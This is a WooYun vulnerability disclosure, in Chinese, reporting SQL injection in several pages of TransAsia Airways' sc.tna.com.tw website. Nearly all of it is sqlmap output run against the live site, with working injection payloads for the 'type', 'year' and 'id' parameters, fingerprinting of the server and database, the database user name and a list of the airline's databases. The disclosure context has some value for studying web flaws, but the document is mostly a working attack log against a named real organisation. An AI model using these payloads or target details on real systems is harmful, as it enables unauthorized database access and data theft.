当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105102

漏洞标题:复兴航空多处SQL注入漏洞可跨裤

相关厂商:复兴航空

漏洞作者: 墨迹

提交时间:2015-04-02 11:59

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-02: 细节已通知厂商并且等待厂商处理中
2015-04-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

多处注入漏洞都可跨裤

详细说明:

http://sc.tna.com.tw/about/media_news.aspx?type=2&year=2014
http://sc.tna.com.tw/about/media_press.aspx?type=1&year=
2015
http://sc.tna.com.tw/about/media_press_view.aspx?id=444

漏洞证明:

QQ截图20150331231936.png


C:\sqlmap>sqlmap.py -u "http://sc.tna.com.tw/about/media_news.aspx?type=2&year=2
014" --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:18:51
[23:18:52] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:18:52] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: year
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=2&year=2014 AND 8428=8428
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: type=2&year=2014 AND 5747=CONVERT(INT,(CHAR(58)+CHAR(102)+CHAR(113)
+CHAR(115)+CHAR(58)+(SELECT (CASE WHEN (5747=5747) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(58)+CHAR(103)+CHAR(105)+CHAR(116)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: type=2&year=2014 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(102)+CHAR
(113)+CHAR(115)+CHAR(58)+CHAR(112)+CHAR(102)+CHAR(117)+CHAR(79)+CHAR(102)+CHAR(1
15)+CHAR(117)+CHAR(78)+CHAR(87)+CHAR(89)+CHAR(58)+CHAR(103)+CHAR(105)+CHAR(116)+
CHAR(58),NULL,NULL,NULL--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: type=2&year=(SELECT CHAR(58)+CHAR(102)+CHAR(113)+CHAR(115)+CHAR(58)
+(SELECT (CASE WHEN (5744=5744) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(
103)+CHAR(105)+CHAR(116)+CHAR(58))
Place: GET
Parameter: type
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=2 AND 8551=8551&year=2014
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: type=2 AND 1118=CONVERT(INT,(CHAR(58)+CHAR(102)+CHAR(113)+CHAR(115)
+CHAR(58)+(SELECT (CASE WHEN (1118=1118) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(
58)+CHAR(103)+CHAR(105)+CHAR(116)+CHAR(58)))&year=2014
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: type=2 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(102)+CHAR(113)+CHAR
(115)+CHAR(58)+CHAR(81)+CHAR(82)+CHAR(88)+CHAR(81)+CHAR(88)+CHAR(98)+CHAR(119)+C
HAR(117)+CHAR(118)+CHAR(100)+CHAR(58)+CHAR(103)+CHAR(105)+CHAR(116)+CHAR(58),NUL
L,NULL,NULL-- &year=2014
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: type=(SELECT CHAR(58)+CHAR(102)+CHAR(113)+CHAR(115)+CHAR(58)+(SELEC
T (CASE WHEN (5415=5415) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(103)+CH
AR(105)+CHAR(116)+CHAR(58))&year=2014
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: type, type: Unescaped numeric (default)
[1] place: GET, parameter: year, type: Unescaped numeric
[q] Quit
> 0
[23:18:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[23:18:57] [INFO] fetching current user
current user: 'tnawebread'
[23:18:58] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[23:18:58] [INFO] fetched data logged to text files under 'C:\sqlmap\output\sc.t
na.com.tw'
[*] shutting down at 23:18:58
C:\sqlmap>sqlmap.py -u "http://sc.tna.com.tw/about/media_press.aspx?type=1&year=
2015" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:55:25
[22:55:26] [INFO] testing connection to the target url
[22:55:26] [INFO] testing if the url is stable, wait a few seconds
[22:55:28] [INFO] url is stable
[22:55:28] [INFO] testing if GET parameter 'type' is dynamic
[22:55:30] [INFO] confirming that GET parameter 'type' is dynamic
[22:55:31] [INFO] GET parameter 'type' is dynamic
[22:55:31] [WARNING] reflective value(s) found and filtering out
[22:55:31] [INFO] heuristic (parsing) test shows that GET parameter 'type' might
be injectable (possible DBMS: 'Microsoft SQL Server')
[22:55:31] [INFO] testing for SQL injection on GET parameter 'type'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'Microsoft SQL Server' ignoring provided le
vel (1) and risk (1)? [Y/n] y
[22:55:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:55:50] [INFO] GET parameter 'type' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[22:55:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[22:55:50] [INFO] GET parameter 'type' is 'Microsoft SQL Server/Sybase AND error
-based - WHERE or HAVING clause' injectable
[22:55:50] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:55:51] [INFO] GET parameter 'type' is 'Microsoft SQL Server/Sybase inline qu
eries' injectable
[22:55:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:55:51] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[22:55:55] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
[22:56:11] [INFO] GET parameter 'type' is 'Microsoft SQL Server/Sybase stacked q
ueries' injectable
[22:56:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[22:56:17] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query)'
[22:56:18] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query - comment)'
[22:56:21] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heav
y query)'
[22:57:22] [INFO] GET parameter 'type' is 'Microsoft SQL Server/Sybase OR time-b
ased blind (heavy query)' injectable
[22:57:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:57:22] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[22:57:23] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[22:57:24] [INFO] target url appears to have 6 columns in query
[22:57:25] [INFO] GET parameter 'type' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'type' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
[22:57:35] [INFO] testing if GET parameter 'year' is dynamic
[22:57:36] [INFO] confirming that GET parameter 'year' is dynamic
[22:57:36] [INFO] GET parameter 'year' is dynamic
[22:57:37] [INFO] heuristic (parsing) test shows that GET parameter 'year' might
be injectable (possible DBMS: 'Microsoft SQL Server')
[22:57:37] [INFO] testing for SQL injection on GET parameter 'year'
[22:57:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:57:39] [INFO] GET parameter 'year' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[22:57:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[22:57:39] [INFO] GET parameter 'year' is 'Microsoft SQL Server/Sybase AND error
-based - WHERE or HAVING clause' injectable
[22:57:39] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:57:40] [INFO] GET parameter 'year' is 'Microsoft SQL Server/Sybase inline qu
eries' injectable
[22:57:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:57:53] [INFO] GET parameter 'year' is 'Microsoft SQL Server/Sybase stacked q
ueries' injectable
[22:57:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[22:58:04] [INFO] GET parameter 'year' is 'Microsoft SQL Server/Sybase time-base
d blind' injectable
[22:58:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:58:04] [INFO] GET parameter 'year' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'year' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
sqlmap identified the following injection points with a total of 45 HTTP(s) requ
ests:
---
Place: GET
Parameter: year
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=1&year=2015 AND 1067=1067
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: type=1&year=2015 AND 1717=CONVERT(INT,(CHAR(58)+CHAR(107)+CHAR(108)
+CHAR(101)+CHAR(58)+(SELECT (CASE WHEN (1717=1717) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(58)+CHAR(114)+CHAR(118)+CHAR(98)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: type=1&year=2015 UNION ALL SELECT NULL,CHAR(58)+CHAR(107)+CHAR(108)
+CHAR(101)+CHAR(58)+CHAR(90)+CHAR(75)+CHAR(103)+CHAR(117)+CHAR(111)+CHAR(78)+CHA
R(80)+CHAR(111)+CHAR(118)+CHAR(101)+CHAR(58)+CHAR(114)+CHAR(118)+CHAR(98)+CHAR(5
8),NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: type=1&year=2015; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: type=1&year=2015 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: type=1&year=(SELECT CHAR(58)+CHAR(107)+CHAR(108)+CHAR(101)+CHAR(58)
+(SELECT (CASE WHEN (1237=1237) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(
114)+CHAR(118)+CHAR(98)+CHAR(58))
Place: GET
Parameter: type
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=1 AND 9509=9509&year=2015
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: type=1 AND 5738=CONVERT(INT,(CHAR(58)+CHAR(107)+CHAR(108)+CHAR(101)
+CHAR(58)+(SELECT (CASE WHEN (5738=5738) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(
58)+CHAR(114)+CHAR(118)+CHAR(98)+CHAR(58)))&year=2015
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: type=1 UNION ALL SELECT NULL,CHAR(58)+CHAR(107)+CHAR(108)+CHAR(101)
+CHAR(58)+CHAR(86)+CHAR(80)+CHAR(104)+CHAR(68)+CHAR(110)+CHAR(99)+CHAR(75)+CHAR(
117)+CHAR(99)+CHAR(84)+CHAR(58)+CHAR(114)+CHAR(118)+CHAR(98)+CHAR(58),NULL,NULL,
NULL,NULL-- &year=2015
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: type=1; WAITFOR DELAY '0:0:5'--&year=2015
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: type=-3785 OR 6187=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers
AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysu
sers AS sys7)&year=2015
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: type=(SELECT CHAR(58)+CHAR(107)+CHAR(108)+CHAR(101)+CHAR(58)+(SELEC
T (CASE WHEN (1322=1322) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(114)+CH
AR(118)+CHAR(98)+CHAR(58))&year=2015
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: type, type: Unescaped numeric (default)
[1] place: GET, parameter: year, type: Unescaped numeric
[q] Quit
> 0
[22:59:17] [INFO] testing Microsoft SQL Server
[22:59:18] [INFO] confirming Microsoft SQL Server
[22:59:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[22:59:19] [INFO] fetching database names
[22:59:20] [INFO] the SQL query used returns 10 entries
[22:59:20] [INFO] retrieved: "ChkFiles"
[22:59:20] [INFO] retrieved: "master"
[22:59:21] [INFO] retrieved: "model"
[22:59:21] [INFO] retrieved: "msdb"
[22:59:22] [INFO] retrieved: "newtransasia"
[22:59:22] [INFO] retrieved: "newtransasia_kr"
[22:59:23] [INFO] retrieved: "tempdb"
[22:59:23] [INFO] retrieved: "TransAsia"
[22:59:23] [INFO] retrieved: "TransAsia_en"
[22:59:24] [INFO] retrieved: "TransAsia_jp"
available databases [10]:
[*] ChkFiles
[*] master
[*] model
[*] msdb
[*] newtransasia
[*] newtransasia_kr
[*] tempdb
[*] TransAsia
[*] TransAsia_en
[*] TransAsia_jp
[22:59:24] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 35 times
[22:59:24] [INFO] fetched data logged to text files under 'C:\sqlmap\output\sc.t
na.com.tw'
C:\sqlmap>sqlmap.py -u "http://sc.tna.com.tw/about/media_press_view.aspx?id=444"
--dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:03:33
[23:03:34] [INFO] testing connection to the target url
[23:03:35] [INFO] testing if the url is stable, wait a few seconds
[23:03:37] [INFO] url is stable
[23:03:37] [INFO] testing if GET parameter 'id' is dynamic
[23:03:37] [INFO] confirming that GET parameter 'id' is dynamic
[23:03:37] [WARNING] GET parameter 'id' does not appear dynamic
[23:03:38] [INFO] heuristic (parsing) test shows that GET parameter 'id' might b
e injectable (possible DBMS: 'Microsoft SQL Server')
[23:03:38] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'Microsoft SQL Server' ignoring provided le
vel (1) and risk (1)? [Y/n] y
[23:04:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:04:03] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[23:04:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:04:03] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase AND error-b
ased - WHERE or HAVING clause' injectable
[23:04:03] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[23:04:04] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase inline quer
ies' injectable
[23:04:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:04:04] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[23:04:18] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase stacked que
ries' injectable
[23:04:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:04:30] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase time-based
blind' injectable
[23:04:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:04:30] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[23:04:31] [WARNING] reflective value(s) found and filtering out
[23:04:31] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[23:04:35] [INFO] target url appears to have 9 columns in query
[23:04:36] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 co
lumns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 24 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=444 AND 2859=2859
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=444 AND 1910=CONVERT(INT,(CHAR(58)+CHAR(103)+CHAR(122)+CHAR(118)
+CHAR(58)+(SELECT (CASE WHEN (1910=1910) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(
58)+CHAR(122)+CHAR(112)+CHAR(110)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=444 UNION ALL SELECT NULL,NULL,NULL,CHAR(58)+CHAR(103)+CHAR(122)
+CHAR(118)+CHAR(58)+CHAR(90)+CHAR(102)+CHAR(81)+CHAR(110)+CHAR(110)+CHAR(81)+CHA
R(121)+CHAR(99)+CHAR(69)+CHAR(66)+CHAR(58)+CHAR(122)+CHAR(112)+CHAR(110)+CHAR(58
),NULL,NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=444; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=444 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58)+CHAR(103)+CHAR(122)+CHAR(118)+CHAR(58)+(SELECT
(CASE WHEN (6310=6310) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(122)+CHAR
(112)+CHAR(110)+CHAR(58))
---
[23:04:39] [INFO] testing Microsoft SQL Server
[23:04:39] [INFO] confirming Microsoft SQL Server
[23:04:40] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[23:04:40] [INFO] fetching database names
[23:04:41] [INFO] the SQL query used returns 10 entries
[23:04:41] [INFO] retrieved: "ChkFiles"
[23:04:42] [INFO] retrieved: "master"
[23:04:42] [INFO] retrieved: "model"
[23:04:43] [INFO] retrieved: "msdb"
[23:04:43] [INFO] retrieved: "newtransasia"
[23:04:43] [INFO] retrieved: "newtransasia_kr"
[23:04:44] [INFO] retrieved: "tempdb"
[23:04:44] [INFO] retrieved: "TransAsia"
[23:04:45] [INFO] retrieved: "TransAsia_en"
[23:04:45] [INFO] retrieved: "TransAsia_jp"
available databases [10]:
[*] ChkFiles
[*] master
[*] model
[*] msdb
[*] newtransasia
[*] newtransasia_kr
[*] tempdb
[*] TransAsia
[*] TransAsia_en
[*] TransAsia_jp
[23:04:46] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 29 times
[23:04:46] [INFO] fetched data logged to text files under 'C:\sqlmap\output\sc.t
na.com.tw'
[*] shutting down at 23:04:46
C:\sqlmap>sqlmap.py -u "http://sc.tna.com.tw/about/media_news.aspx?type=2&year=2
014" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:07:27
[23:07:27] [INFO] testing connection to the target url
[23:07:28] [INFO] testing if the url is stable, wait a few seconds
[23:07:29] [INFO] url is stable
[23:07:29] [INFO] testing if GET parameter 'type' is dynamic
[23:07:30] [INFO] confirming that GET parameter 'type' is dynamic
[23:07:30] [INFO] GET parameter 'type' is dynamic
[23:07:31] [WARNING] reflective value(s) found and filtering out
[23:07:31] [INFO] heuristic (parsing) test shows that GET parameter 'type' might
be injectable (possible DBMS: 'Microsoft SQL Server')
[23:07:31] [INFO] testing for SQL injection on GET parameter 'type'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'Microsoft SQL Server' ignoring provided le
vel (1) and risk (1)? [Y/n] y
[23:07:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:08:13] [INFO] GET parameter 'type' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[23:08:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:08:17] [INFO] GET parameter 'type' is 'Microsoft SQL Server/Sybase AND error
-based - WHERE or HAVING clause' injectable
[23:08:17] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[23:08:17] [INFO] GET parameter 'type' is 'Microsoft SQL Server/Sybase inline qu
eries' injectable
[23:08:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:08:17] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[23:08:23] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
[23:08:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:08:35] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query)'
[23:08:36] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query - comment)'
[23:08:37] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heav
y query)'
[23:09:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace'
[23:09:08] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace (heavy queries)'
[23:09:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:09:09] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[23:09:10] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[23:09:13] [INFO] target url appears to have 6 columns in query
[23:09:14] [INFO] GET parameter 'type' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'type' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
[23:09:18] [INFO] testing if GET parameter 'year' is dynamic
[23:09:18] [INFO] confirming that GET parameter 'year' is dynamic
[23:09:19] [INFO] GET parameter 'year' is dynamic
[23:09:19] [INFO] heuristic (parsing) test shows that GET parameter 'year' might
be injectable (possible DBMS: 'Microsoft SQL Server')
[23:09:19] [INFO] testing for SQL injection on GET parameter 'year'
[23:09:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:09:21] [INFO] GET parameter 'year' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[23:09:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:09:22] [INFO] GET parameter 'year' is 'Microsoft SQL Server/Sybase AND error
-based - WHERE or HAVING clause' injectable
[23:09:22] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[23:09:22] [INFO] GET parameter 'year' is 'Microsoft SQL Server/Sybase inline qu
eries' injectable
[23:09:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:09:28] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:09:34] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query)'
[23:09:35] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query - comment)'
[23:09:36] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heav
y query)'
[23:10:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace'
[23:10:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace (heavy queries)'
[23:10:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:10:11] [INFO] GET parameter 'year' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'year' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
sqlmap identified the following injection points with a total of 49 HTTP(s) requ
ests:
---
Place: GET
Parameter: year
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=2&year=2014 AND 8428=8428
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: type=2&year=2014 AND 5747=CONVERT(INT,(CHAR(58)+CHAR(102)+CHAR(113)
+CHAR(115)+CHAR(58)+(SELECT (CASE WHEN (5747=5747) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(58)+CHAR(103)+CHAR(105)+CHAR(116)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: type=2&year=2014 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(102)+CHAR
(113)+CHAR(115)+CHAR(58)+CHAR(112)+CHAR(102)+CHAR(117)+CHAR(79)+CHAR(102)+CHAR(1
15)+CHAR(117)+CHAR(78)+CHAR(87)+CHAR(89)+CHAR(58)+CHAR(103)+CHAR(105)+CHAR(116)+
CHAR(58),NULL,NULL,NULL--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: type=2&year=(SELECT CHAR(58)+CHAR(102)+CHAR(113)+CHAR(115)+CHAR(58)
+(SELECT (CASE WHEN (5744=5744) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(
103)+CHAR(105)+CHAR(116)+CHAR(58))
Place: GET
Parameter: type
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=2 AND 8551=8551&year=2014
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: type=2 AND 1118=CONVERT(INT,(CHAR(58)+CHAR(102)+CHAR(113)+CHAR(115)
+CHAR(58)+(SELECT (CASE WHEN (1118=1118) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(
58)+CHAR(103)+CHAR(105)+CHAR(116)+CHAR(58)))&year=2014
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: type=2 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(102)+CHAR(113)+CHAR
(115)+CHAR(58)+CHAR(81)+CHAR(82)+CHAR(88)+CHAR(81)+CHAR(88)+CHAR(98)+CHAR(119)+C
HAR(117)+CHAR(118)+CHAR(100)+CHAR(58)+CHAR(103)+CHAR(105)+CHAR(116)+CHAR(58),NUL
L,NULL,NULL-- &year=2014
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: type=(SELECT CHAR(58)+CHAR(102)+CHAR(113)+CHAR(115)+CHAR(58)+(SELEC
T (CASE WHEN (5415=5415) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(103)+CH
AR(105)+CHAR(116)+CHAR(58))&year=2014
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: type, type: Unescaped numeric (default)
[1] place: GET, parameter: year, type: Unescaped numeric
[q] Quit
> 0
[23:10:23] [INFO] testing Microsoft SQL Server
[23:10:23] [INFO] confirming Microsoft SQL Server
[23:10:24] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[23:10:24] [INFO] fetching database names
[23:10:25] [INFO] the SQL query used returns 10 entries
[23:10:25] [INFO] retrieved: "ChkFiles"
[23:10:26] [INFO] retrieved: "master"
[23:10:26] [INFO] retrieved: "model"
[23:10:27] [INFO] retrieved: "msdb"
[23:10:27] [INFO] retrieved: "newtransasia"
[23:10:28] [INFO] retrieved: "newtransasia_kr"
[23:10:30] [INFO] retrieved: "tempdb"
[23:10:31] [INFO] retrieved: "TransAsia"
[23:10:31] [INFO] retrieved: "TransAsia_en"
[23:10:32] [INFO] retrieved: "TransAsia_jp"
available databases [10]:
[*] ChkFiles
[*] master
[*] model
[*] msdb
[*] newtransasia
[*] newtransasia_kr
[*] tempdb
[*] TransAsia
[*] TransAsia_en
[*] TransAsia_jp
[23:10:32] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 37 times
[23:10:32] [INFO] fetched data logged to text files under 'C:\sqlmap\output\sc.t
na.com.tw'
[*] shutting down at 23:10:32

修复方案:

对传入参数进行过滤下就行了,虽然不是主站。

版权声明:转载请注明来源 墨迹@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

